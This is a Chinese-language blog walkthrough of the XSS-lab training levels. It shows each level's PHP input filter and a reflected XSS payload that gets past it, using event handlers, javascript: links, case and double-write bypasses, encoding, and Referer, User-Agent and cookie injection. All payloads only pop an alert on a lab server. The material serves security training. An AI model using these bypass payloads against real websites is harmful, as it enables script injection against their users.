XSS-lab通过教程🐶
XSS-lab通过教程
Level-1
payload:http://192.168.33.222:40577/level1.php?name=<script>alert(123)</script>
Level-2
- 我们随便输入
123
,查看闭合方式
我们可以构造闭合input
标签,如何加入script
语句
payload:"><script>alert(123)</script>
Level-3
- 首先我们用第二关的payload去尝试,发现显示是一样的,但是没有执行我们的js代码
- 查看源码
<input name=keyword value='".htmlspecialchars($str)."'>
我们发现使用了htmlspecialchars
方法,它的作用是将特殊字符转换为html实体。那么什么是HTML实体呢?
说白了就是HTML为了防止特殊符号。例如:
特殊字符 | 转化后 |
---|---|
& | & |
" | " |
< | < |
> | > |
这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur等,下面简单介绍一下关于鼠标事件的一些能引用js代码的函数:
属性 | 描述 |
---|---|
onclick | 当用户点击某个对象时调用的事件句柄 |
onmouseenter | 当鼠标指针移动到元素上时触发 |
onmouseover | 鼠标移到某元素之上 |
payload:' onclick ='javascript:alert(123)'//
注意:我们用的是点击事件,所以我们输入payload之后鼠标还得点击一下输入框才能触发代码
level-4
首先我们发现前端页面跟第2关一样,没什么区别,还是这样的
源码分析
# 我们可以看到首先接收参数,然后将<>都替换成了空
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">
所有说我们的payload里面不能有<>这两个符号,<script>
就不能用了,还是用第三关的payload,只不过闭合方式不一样,这一关是"
payload:" onclick='javascript:alert(123)'//
level-5
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 获取输入的值,赋给$str变量
$str = strtolower($_GET["keyword"]);
# 将<script替换成<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
# 将 on 替换成 o_n
$str3=str_replace("on","o_n",$str2);
<input name=keyword value="'.$str3.'">
这一关我们可以看到带有 <script>
和 on
标签的都没法用了,那么onclick
自然用不了了。我们可以尝试构造一个 a
标签,具体payload如下:
"></input><a href='javascript:alert(123)'>ads</a>
level-6
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 替换了<script,on,src,data,href
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword value="'.$str6.'">
虽说这一关过滤了上面这些字符串,但是我们可以换大写或者大小混写就可以绕过了,还是用第五关的payload:
"></input><a Href='javascript:alert(123)'>ads</a>
level-7
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 将输入的字符全部替换成小写,然后将下面这些字符串替换成空
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword value="'.$str6.'">
所以这一关我们就没法用大写或者大小混写绕过了,但是我们可以用双写绕过
payload:"><scriscriptpt>alert(123)</scriscriptpt>
level-8
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 将输入的关键字替换成小写,然后过滤下面的字符串,最后进行html实体转义
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">
所以说这一关用不了 <script>
标签了,我们输入第二关的payload试试,然后查看网页源码发现
发现上面value
的标签都被html实体化了,下面href
里面的内容被替换了,那里就是我们输入的内容,我们直接输入javascript:alert(123)
到a
标签的href
属性中就可以触发xss,我们发现直接输入的话script
会被_
下划线隔开,所以我们进行html编码输入:
payload:
javascript:alert(1)
level-9
首先我们还是拿第二关的payload测试一下,发现不一样的,现在变成输出指定的字符串了
居然说输入的不合法,那么我们输入一个合法的看看是什么样
payload:http://www.baidu.com
再加点东西动动手脚看看
payload:javascript:alert(123)//http://www.baidu.com
发现还是不行,被替换了,编码输入在看看
payload:
javascript:alert(123)//http://www.baidu.com
level-10
源码分析
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
这个题跟前面的都不一样,首先查看源码发现了三个隐藏的input
标签
那么我们根据他们的name
构造传值,改变他们的type
属性,看谁能显示出来,谁就能被输入,我们查看源码发现最后一位显示出来了。
t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//
payload:&t_sort=" type='text' onclick='javascript:alert(1)'>//
level-11
首先我们查看一下源码,发现又有四个标签隐藏了
还是一样的测试一下那个标签能够被显示出来,说明它能够接收数据
payload:
t_link=" type='text'%3E//&t_history=" type='text'%3E//&t_sort=" type='text'%3E//&t_ref=" typr='text'%3E//
发现还是t_sort,只不过"
和>
被过滤了,再仔细看看,发现上面t_ref
的值咋变了,查看源码发现原来这个题的触发点在t_ref
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
我们发现他是接收http头部的REFERER字段的值,然后经过过滤>
和<
之后插入了t_ref
的值之中,所以我们抓包修改referer字段的值触发xss
payload:" type='text' onclick='javascript:alert(1)'>//
level-12
首先看看源码,发现又有四个隐藏标签
然后还发现t_ua
居然有值,没猜错的话这个题触发点应该在uagent
,我们看看源码
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
好的,看了源码之后,发现这个题跟第11关的区别就是这个题的触发点在Uagent
,我们抓包传入payload:
" type='text' onclick='javascript:alert(1)'>//
level-13
首先看看源码发现又有四个隐藏字段
然后测试一下看哪个能够显示出来说明能够输入,我们发现t_sort被过滤了,然后就没有了
按这尿性,不用猜也知道这一关触发点肯定在t_cook
,我们看看源码
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
果然触发点在cookie
的user
字段,不说了,直接抓包打payload
" type='text' onclick='javascript:alert(1)'>//
level-14
xswl,md一点头绪没有,上网一查题有问题,溜了溜了!
level-15
不说了,先看一波源码
啥信息没看着,就看到个这个,上万能的百度搜一下,还真搜到用法了,包含外部html文件
话说包含外部文件传参点是啥,想不出来,再看一波源码原来是src
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
说是包含外部html文件,那我们拿第一关的网址试试
发现<
和>
被html实体化了,而且这一关没有任何点击的地方,所以我们只能用onerror
方法,构造一个img
标签,payload:?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'
level-16
源码分析
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
我们发现过滤了script
,空格,/
,所以我们尝试加个a标签,空格用回车编码代替,点击图片过关
payload:<a%0D%0Aonclick='alert(1)'>
level 17
不会了,后面等我升级了在来填这个坑吧!
XSS-lab通过教程🐶的更多相关文章
- XSS高级实战教程
1.[yueyan科普系列]XSS跨站脚本攻击--yueyan 2.存储型XSS的成因及挖掘方法--pkav 3.跨站脚本攻击实例解析--泉哥 4.XSS高级实战教程--心伤的瘦子 5.XSS利用与挖 ...
- DVWA XSS (Reflected) 通关教程
XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...
- DVWA XSS (Stored) 通关教程
Stored Cross Site Scripting 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户 ...
- DVWA XSS (DOM) 通关教程
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...
- Web安全XSS
Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...
- 第一次在新西兰组织技术社区活动:Monkeyfest2018
从3月份登陆到现在,转眼间已经8个月了.在6个月的时候我就想写篇文总结下近期的一些状况,一直拖到现在.因为近期一直在筹备我第一次社区活动——Monkeyfest 2018,占用了比较多的时间.这是一个 ...
- 2017-2018-2 20155315《网络对抗技术》Exp8 :Web基础
实验目的 理解HTML,学会Web前端.Web后端和数据库编程及SQL注入.XSS攻击测试 教程 实验内容 操作程序规律 运行脚本或可执行文件 查看配置文件 出错找日志 Web前端HTML 能正常安装 ...
- 2018-2019-2 网络对抗技术 20165230 Exp8 Web基础
目录 实验目的 实验内容 实验步骤 (一)Web前端HTML Apache HTML编程 (二) Web前端javascipt 基础知识理解 JavaScript编程 (三)Web后端:MySQL基础 ...
- 有关XSS的一个系列教程
在乌云发现了一个有关XSS的教程,目前有21篇,够我慢慢儿学的了. 这个系列教程的地址:http://www.wooyun.org/whitehats/心伤的瘦子/page/1 几个常见的语句 < ...
- [视频]K8飞刀 WordPress XSS添加管理员 & GetShell 教程
[视频]K8飞刀 WordPress XSS添加管理员 & GetShell 教程 https://pan.baidu.com/s/1hq4LsmK
随机推荐
- IE上的兼容性调整问题烦死啦
IE上的兼容性调整问题烦死啦 好像还得把此代码放到第一行才起作用.
- JAVA获取当前日期时间所在周的周一和周日日期
/** * 获取当前时间所在周的周一和周日的日期时间 * @return */ public static Map<String,String> getWeekDate() { Map&l ...
- c/c++实现CRC查表及算法
说明 CRC被广泛应用到各个领域.足见其厉害之处 本文介绍的是CRC查表法. 拷贝代码即可使用 CRC 的起始值 本来默认是0, 实际生产中遇到过,CRC初始值为0xFFFF, 故将其初始值以参数的形 ...
- 一个VS主题网站https://studiostyl.es/
地址: https://studiostyl.es/ 用法: 工具->导入和导出设置->导入选定的环境设置->是,保存我当前的设置->选择下载的主题文件,完成.
- 年底了是时候学新技术了「GitHub 热点速览 v.21.52」
作者:HelloGitHub-小鱼干 年底了,又有新技术冒出来需要你来 Pick 了,第一个先要被 Pick 的是即将到来的元旦英文版:Happy New Year,再来的话就是这周非常火的新一代爬虫 ...
- java源码——计算大于一个数的最小素数
根据输入数字,计算大于一个数的最小素数. 话不多说,直接贴码. package com.fuxuemingzhu.countprime.main; import java.util.Scanner; ...
- 【九度OJ】题目1181:遍历链表 解题报告
[九度OJ]题目1181:遍历链表 解题报告 标签(空格分隔): 九度OJ http://ac.jobdu.com/problem.php?pid=1181 题目描述: 建立一个升序链表并遍历输出. ...
- 【LeetCode】781. Rabbits in Forest 解题报告(Python & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...
- HDU 4790:Just Random(容斥)
Just Random Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total S ...
- 深入理解Java虚拟机一:运行时数据区域
根据<Java虚拟机规范(第2版)>的规定,Java虚拟机管理的内存包括下图几个运行时数据区域: 1.程序计数器 程序计数器(Program Counter Register ...